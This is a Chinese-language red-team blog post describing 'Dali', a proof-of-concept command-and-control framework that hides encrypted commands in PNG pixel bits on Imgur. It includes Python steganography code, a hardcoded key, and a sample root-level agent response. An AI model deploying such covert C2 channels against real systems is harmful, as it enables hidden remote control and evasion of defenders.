导语:在11月下旬,我决定启动一个既有趣又有实际意义的项目,尝试提出了一种具有独特性的C2通道概念证明,其中涉及到隐写术和某种可信域名,而不再使用定制的基础结构。
0x00 前言
在11月下旬,我决定启动一个既有趣又有实际意义的项目,尝试提出了一种具有独特性的C2通道概念证明,其中涉及到隐写术和某种可信域名,而不再使用定制的基础结构。在我的研究过程中,广泛参考了较大时间跨度的许多红队资料,并从中收获了一些高级的概念。目前我们知道,网络中有一些代理工具或植入工具需要执行任务,并且需要将数据以隐蔽的方式发送回服务器。而这正是我们本次研究的重点。
我首先研究了与可信Web应用程序、可信域名相关的开源C2通道概念,并从中找到了许多不错的项目,例如Slackor、gcat和twittor。
然后,我明确了此次研究的目标:
1、打造一个有意思的工具;
2、创造一种独特的隐写术方法;
3、通过图像的方式传递任务与响应;
4、应用程序中不包含随机的Base64字符串转储;
5、使用可信的域名;
6、使用Python脚本来模拟代理工具或植入工具(我计划在明年完成Windows漏洞利用和原理研究后,再编写合适的植入工具)。
以上就是我们的目标,我们接下来就开始整个的研究过程。
0x01 选择一个受信任的域名
经过一些研究之后,我选择了Imgur平台。Imgur具有一些优势,我们可以匿名上传图像,也可以匿名创建临时站点访问者无法查看的相册。
但是,这个平台具有一个明显的缺点,匿名上传的图像无法在“图库”中建立索引并进行搜索。这也就意味着,要完成任务,我们必须对框架中“传递任务”的一方进行身份验证。我们会在后面完成这一实现。实际上,我们可以使用多种不同的方法来进行配置,在这里我研究的方法也许不是最佳方案,大家可以基于此再展开深入的研究。
0x02 打造新型隐写方法
2.1 常规思路,使用Alpha通道值
这一步骤,是我花费时间最多的步骤。要将JPEG文件上传至Imugr往往不是很可靠, JPEG格式的照片因为压缩的问题,无法保证其二进制完整性。经过一些研究,我发现PNG文件中除了Red、Green和Blue之外,还包含第四个像素值,称为“Alpha通道”。这个Alpha通道值将确定该像素的不透明度。在我检查的约30个PNG文件中,所有的Alpha通道值几乎都设置为了255,因此,这似乎是我们用来隐藏数据的一个理想目标。
我想到的第一种方法是对一个字符串(例如一个命令)进行简单地Base64编码,然后在Python中对一个字典进行硬编码,以便使所有可能的Base64字符都能充当键,并且可以对应于255-190之间的值。如果有分析人员手动检查了像素数据,可能就会发现这一点不同寻常之处,因为通常情况下的Alpha值几乎没有变化。更简单地说,在我的Python实现方案中存在一个巨大的错误,使我相信每次我打开PNG图像时,Python库PIL都会将Alpha通道值设置为255。因此,我放弃了这个方案,尽管这个方案除了会出现不同寻常的Alpha通道值之外,其他地方都很好。
接下来,还有一个选择正确图像尺寸的问题。Imgur允许不同的帐户类型上传不同大小的图片,这一点进行了严格的限制。经过身份验证的帐户最大可以上传5MB的PNG文件,而未经身份验证的帐户至多只能上传1MB的PNG文件,大于这个限制的图片文件将会被转换为JPEG格式。这样的限制,使得我无法应用我最开始提出的方案。
2.2 探寻新思路,使用红色数值的差异
最终,我想到了一种方法,该方法可以优先保证图像看起来像是正常的,同时还可以最大程度减少要更改的像素值。具体原理如下。
2.2.1 像素
在使用PIL Python库时,PNG像素值可以使用包含Red、Green、Blue和Alpha值的元组表示。利用这个库,我们可以在元组列表中收集图像的所有像素值。在2560×1440分辨率的图像中,列表中有360万个元素,每个元组都有四个值。元组列表类似于[(128, 0, 128, 255), (128, 0, 128, 255)…],这样重复了360万个元组。
2.2.2 利用思路
红色像素值的范围可以是0-255,之间,用二进制表示为00000000-11111111之间。我决定采用每个相邻红色像素的最低有效位的绝对差,并将8个值作为一组,形成一个新的二进制数值。接下来,我将详细说明这种思路。
假设我们有两个相邻的红色像素值128(二进制10000000)和128(二进制10000000),每个值的最低有效位是最右边的数字,在这里分别是0和0。那么,0和0的绝对差显然为0.因此,这种绝对差将构成我们新二进制数字的第一位。现在,我们得到的二进制数字是0xxxxxxx,我们将重复这一过程,每次都会向后计算接下来的两个红色值,最终获得一个8位的二进制数字。如果说一张图片中共有360万个像素的话,那我们就可以携带((3686400/2)/8)=230400个有效值。
2.2.3 用上述方式表示Base64编码
在有了8位二进制数字后,下一步就是以某种方式,将其转换为有意义的数字。在这一步骤中,我们是通过使用一个硬编码字典encode_keys来完成的,该字典如下所示:
encode_keys = {'=': '00000001', '/': '00000010', '+': '00000011', 'Z': '00000100', 'Y': '00000101', 'X': '00000110', 'W': '00000111', 'V': '00001000', 'U': '00001001', 'T': '00001010', 'S': '00001011', 'R': '00001100', 'Q': '00001101', 'P': '00001110', 'O': '00001111', 'N': '00010000', 'M': '00010001', 'L': '00010010', 'K': '00010011', 'J': '00010100', 'I': '00010101', 'H': '00010110', 'G': '00010111', 'F': '00011000', 'E': '00011001', 'D': '00011010', 'C': '00011011', 'B': '00011100', 'A': '00011101', 'z': '00011110', 'y': '00011111', 'x': '00100000', 'w': '00100001', 'v': '00100010', 'u': '00100011', 't': '00100100', 's': '00100101', 'r': '00100110', 'q': '00100111', 'p': '00101000', 'o': '00101001', 'n': '00101010', 'm': '00101011', 'l': '00101100', 'k': '00101101', 'j': '00101110', 'i': '00101111', 'h': '00110000', 'g': '00110001', 'f': '00110010', 'e': '00110011', 'd': '00110100', 'c': '00110101', 'b': '00110110', 'a': '00110111', '9': '00111000', '8': '00111001', '7': '00111010', '6': '00111011', '5': '00111100', '4': '00111101', '3': '00111110', '2': '00111111', '1': '01000000', '0': '01000001'}
因此,例如我们的8位二进制数字是00000010,我们就能将其对应到Base64中的“/”字符。如果我们遍历全部的红色像素值,计算所有相邻数值之间的差异,将这些差异值组合成8位二进制数字,并将这些二进制数字根据Base64字典做一一对应,我们便能够得到最终所需的命令的Base64编码字符串。实际上的代码要稍微复杂一些,上述仅提供了工作原理的基本概念证明。
2.2.4 回顾
回顾一下,我们的隐写术采用了如下方案:
1、获得一个命令字符串,例如hostname,使用Base64对该字符串进行编码。
2、现在,我们获得编码后的字符串aG9zdG5hbWU=。
3、如果我们使用字典对代码进行替换,就可以得到需要在图像中包含的对应二进制数值:
encode_keys = {'=': '00000001', '/': '00000010', '+': '00000011', 'Z': '00000100', 'Y': '00000101', 'X': '00000110', 'W': '00000111', 'V': '00001000', 'U': '00001001', 'T': '00001010', 'S': '00001011', 'R': '00001100', 'Q': '00001101', 'P': '00001110', 'O': '00001111', 'N': '00010000', 'M': '00010001', 'L': '00010010', 'K': '00010011', 'J': '00010100', 'I': '00010101', 'H': '00010110', 'G': '00010111', 'F': '00011000', 'E': '00011001', 'D': '00011010', 'C': '00011011', 'B': '00011100', 'A': '00011101', 'z': '00011110', 'y': '00011111', 'x': '00100000', 'w': '00100001', 'v': '00100010', 'u': '00100011', 't': '00100100', 's': '00100101', 'r': '00100110', 'q': '00100111', 'p': '00101000', 'o': '00101001', 'n': '00101010', 'm': '00101011', 'l': '00101100', 'k': '00101101', 'j': '00101110', 'i': '00101111', 'h': '00110000', 'g': '00110001', 'f': '00110010', 'e': '00110011', 'd': '00110100', 'c': '00110101', 'b': '00110110', 'a': '00110111', '9': '00111000', '8': '00111001', '7': '00111010', '6': '00111011', '5': '00111100', '4': '00111101', '3': '00111110', '2': '00111111', '1': '01000000', '0': '01000001'}
command = 'hostname' b64_command = base64.b64encode(command.encode()) binary_numbers = [] for x in b64_command.decode('utf-8'): binary_numbers.append(encode_keys[x]) print(binary_numbers)
输出结果:
['00110111', '00010111', '00111000', '00011110', '00110100', '00010111', '00111100', '00110000', '00110110', '00000111', '00001001', '00000001']
4、要在图像中包含这些数值,我们需要红色像素值的最低有效位的绝对差值与之相匹配。例如,第一个数字00110111,我们需要保证前两个红色像素值相差为0。为了实现这样的修改,最简便的一种方法就是:如果相应位为0,则表示数字为偶数;如果为1,则表示数字为奇数。如果我们正在编辑的图像中,前两个像素红色值分别为127和128,那么就需要将第一个数字+1,或将第二个数字-1,以使最后一位的差值为0。
5、我们的代码需要遍历图像中所有红色像素LSB的差值,并将其添加到列表中。
6、接下来,我们将得到原始图像每对红色位之间的差值情况与我们所需红色位的差值情况之间的不同。一旦我们确定需要修改哪对像素值,我们就可以随机选择是对两个值中的任意一个进行+1或-1的操作。在这里,我们尽可能保证这个过程是随机化的,同时尽可能保证原始像素值不会有过多的改变。
7、在我们修改这些像素值之后,我们的图像中就隐藏了我们的命令字符串,也就是完成了全部的准备工作。
2.2.5 代码思路
在这一小节中,我将说明用于图片隐写术的实际Python代码。为了简单起见,我在这里会略去不必要的细节,例如API Token等,我们将关注的重点放在隐蔽性上面。
我们已经有了原始的命令,然后需要对其填充,使其变为16的倍数。我意识到,如果使用while语句循环效率不高,因此我们使用了模数运算符号。
command = 'hostname' while len(command) % 16 != 0: command += "~"
接下来,我们对一些加密密钥进行硬编码,并对字符串进行加密或Base64编码。对密钥进行编码的过程不是很理想,我会在后续考虑改进,但对于概念证明来说,这部分代码已经足够了。
key = 'dali melts clock' iv = 'this is an iv456' encryption_scheme = AES.new(key, AES.MODE_CBC, iv) command = encryption_scheme.encrypt(command) command_encoded = base64.b64encode(command) command_encoded = command_encoded.decode("utf-8")
接下来,我们获取图像,并使用PIL库中的Image对象创建红色像素值列表。
img = Image.open("example.png") pixels = img.load() reds = [] for i in range(img.size[0]): # for every pixel: for j in range(img.size[1]): reds.append(pixels[i,j][0])
现在,红色像素值仅由十进制的0-255组成,我们需要将其转换为二进制。
bytez = [] for i in reds: bytez.append('{:08b}'.format(i))
现在,我们可以从相邻的两个像素值中,减去所有这些八位二进制数值的最后一位,并遍历整个红色值列表,直到我们获得一个仅包含LSB差异的新列表。
differences = [] counter = 0 while counter < len(bytez): differences.append(str(abs(int(bytez[counter][7]) - int(bytez[counter + 1][7])))) counter += 2
接下来,我们需要将Base64编码的命令转换为我们encode_keys字典中的二进制数值。
translation = [] for x in command_encoded: translation.append(encode_keys[x])
现在,我们需要将这个新的8位二进制列表转换为单个二进制数字列表,形式与上面的差异列表相同,以便我们可以将二者进行比较。
final = [] for x in translation: final += (list(x))
到这一步为止,差异(与图像实际值的差异列表)以及最终图像中所需的差异列表都是以相同形式表示的,我们可以对其进行比较,并创建一个新的索引列表,我们将二者之间的差异命名为mismatch。
counter = 0 mismatch = [] while counter < len(final): if final[counter] != differences[counter]: mismatch.append(counter) counter += 1 else: counter += 1
现在,我们已经知道了需要修改的每个像素对的位置,因此可以更改原始红色像素值列表中的像素对了。在这里需要考虑两种特殊情况,如果红色像素值为255,那么我们就无法将其+1,如果红色像素值为0,那么我们就无法将其-1。因此,需要做一个条件判断:
for x in mismatch: if reds[x*2] == 0: reds[x*2] = (reds[x*2] + 1) elif reds[x*2] == 255: reds[x*2] = (reds[x*2] - 1) else: reds[x*2] = (reds[x*2] + (random.choice([-1, 1])))
但是,我们的代理工具/植入工具如何知道应该在哪里停止读取像素值呢?我们仔细分析一下编码的字典,发现没有任何键是以1开头的。因此,我们的代理工具/植入工具在读取到1作为8位二进制数字的第一位时,就可以停止。那么,我们就需要确保在命令Payload之后的第一个数字为1。为实现这一点,可以检查绝对差,如果已经为1则不执行任何操作,否则对其中的一个数值进行+1操作,使绝对差变为1。
terminator_index = len(command_encoded) * 8 * 2 term_diff = abs(reds[terminator_index] - reds[terminator_index + 1]) if term_diff % 2 == 0: if reds[terminator_index] == 255: reds[terminator_index] = 254 elif reds[terminator_index] == 0: reds[terminator_index] = 1 else: reds[terminator_index] = reds[terminator_index] + random.choice([-1,1])
最终,我们将像素值保存到我们实际创建的Image对象中。
counter = 0 for i in range(img.size[0]): # for every pixel: for j in range(img.size[1]): pixels[i,j] = (reds[counter], pixels[i,j][1], pixels[i,j][2]) counter += 1
至此,我们的图像已经保存了所需的红色像素值,当客户端查看红色像素值的所有绝对LSB差异时,就可以得到我们的命令字符串。
0x03 Dali简介
为了真正检验我的思路是否行之有效,我们必须构建一个实际的C2框架,在这里我们重点说明最为关键的服务器端。Dali是以一位超现实主义画家的名字命名,是一个基于Metasploit功能开发的命令行界面,具有以下功能:
1、使用隐写术命令创建隐藏图像;
2、创建相册以便客户端进行响应;
3、创建逻辑代理工具/植入工具实体,以进行任务管理;
4、创建或管理任务事件,从代理工具或植入工具中检索信息并执行命令。
在这里的任务活动,需要涉及到将图像上传到Imgur的过程。
Dali使用MySQL进行数据库管理。需要说明的是,我们这里提供的仅是演示用的PoC,在实际应用中可能还会出现一些BUG。具体使用方法如下。
下图是对工作原理的概述。需要注意的是,我们在此过程中仅使用Python脚本来模拟客户端,因此仅会对URL进行硬编码。但这样的过程仍然符合我们开篇时设定的目标,如图所示:
0x04 使用Dali为植入工具创建任务
在这里,我将逐步展示如何使用我们构建的Dali框架,为植入工具创建一个不需要经过认证、简单进行响应的任务。
4.1 前置步骤
我们需要进行如下准备工作:
1、查阅Imgur API文档并阅读API应用程序的服务条款;
2、注册我们的应用程序,并获取Client-ID;
3、创建经过身份验证的帐户,并将其绑定到我们的API客户端上以获取Bearer令牌;
4、将MySQL配置为接受凭据登录(原因在于,我们可以在Kali上以root用户身份访问MySQL,而并不意味着它已经配置)。
4.2 选项
如大家所见,我们可以选择使用其中几个不同的模块,其功能描述请参考视频。
演示视频:https://asciinema.org/a/jQbdCGdCzZzDkIUNdNVjJ9YNw
4.3 创建相册
我们可以创建两种不同类型的相册——已经认证的和未经认证的。对于来自客户端的简短响应,我们可以使用未经过认证验证的身份,因为这会导致我们的PNG大小仅限制在1MB。如果我们希望得到较长的响应,可以使用经过身份验证的相册,最多可以支持5MB的PNG图片。在演示中,我们将使用未经验证的相册。
我们将相册类型设置为“未认证”,并且还提供了相册的标题。然后,框架中也设置了在API使用选项中设置Client-ID值的选项。随后,我们从发Imgur中得到了相册ID哈希值以及相册的delete-hash。通常情况下,delete-hash用于未经身份验证的帐户,以证明对Imgur上的照片具有所有权。
演示视频:https://asciinema.org/a/YmyjgMgTPbOVHgKrvEuTGYM9b
4.4 创建图像
现在,我们已经创建了相册,可以创建图像来实际上传代理工具并执行特定任务了。我们可以在List模块中查看该相册的详细信息。我们将在List模块中获取相册ID,并使用它来配置我们的图像。Dali将在MySQL中查找相册ID,然后将相册中来自Imgur的delete-hash附加到我们的命令字符串中,以便代理可以通过编辑该相册的方式进行响应。其中的基础图像,就是我们要进行修改的图像。而其中的命令,则是我们需要在代理工具上世纪执行的。
演示视频:https://asciinema.org/a/hBNQIm7TpZjf1mSNAY5H76cje
4.5 创建代理
现在,我们已经创建了图像,我们需要使用Agent模块来创建逻辑代理工具实体以进行登记。代理必须设置有“Tittle and Tags”值,以便我们知道代理将在Imgur上搜索并执行任务的标题和标签。我们还将确认图像是否已经成功创建,并再次使用List模块登录到MySQL。
演示视频:https://asciinema.org/a/xrdfzsnqmCh1e63fJkIi8SKuU
4.6 执行任务
接下来,就可以交给我们的代理工具来执行任务了。我们在这里使用了一个简单的Python脚本来模拟代理,该脚本会浏览我们上传的图像,并进行相应的响应。但是,我们仍然可以通过设置“Tittle and Tags”值来模拟创建任务的操作,假设我们的代理会根据自己的参数值来查找任务。Tasking-Image是创建图像的ID。Bearer-Token是将图片上传到Imgur相册所需的身份验证令牌。
演示视频:https://asciinema.org/a/JOQTAqAZJVcdsxheitwDw82K8
4.7 检索响应
由于我们在发布到Imgur的图库时已经经过身份验证,因此我们可以上传较大的PNG文件。但是,该代理工具无法使用相同大小的文件进行响应,因为在较短响应的模式下没有进行身份验证。在这种情况下,会将我们提供的图像进行剪裁,变成1500×1500像素的图像,并在其中编码其响应内容,然后将响应图像上传到我们特地创建的未经身份验证的相册之中。在进入“响应”模块之后,Dali将梳理MySQL中的PENDING任务并检查相关的相册。如果找到响应图像,则删除相册中的原始任务,并在MySQL中记录响应,最后将代理的状态从TASKED变更为IDLE。
演示视频:https://asciinema.org/a/Q5v6vsJWQsMtqRPOii4xpVCmp
由于无法从上面的视频中看到代理响应的最上面内容,因此我以纯文本的形式粘贴到这里。
Dali/Response> get response 1 ---RESPONSE FROM AGENT 1 (received at: 2019-12-19 13:15:21)--- uid=0(root) gid=0(root) groups=0(root) kali PID TTY TIME CMD 1 ? 00:00:02 systemd 2 ? 00:00:00 kthreadd 3 ? 00:00:00 rcu_gp 4 ? 00:00:00 rcu_par_gp --snip—
0x05 总结
如大家所见,我们最终成功地从代理中检索到了Payload。实际上,进行方法探索和Deli框架搭建的过程非常有趣,我可能会在明年继续不断优化这一框架,打造更通用、更强大的功能。详细信息请访问Dali代码库,以查看更多信息。感谢大家的阅读,祝大家新年快乐。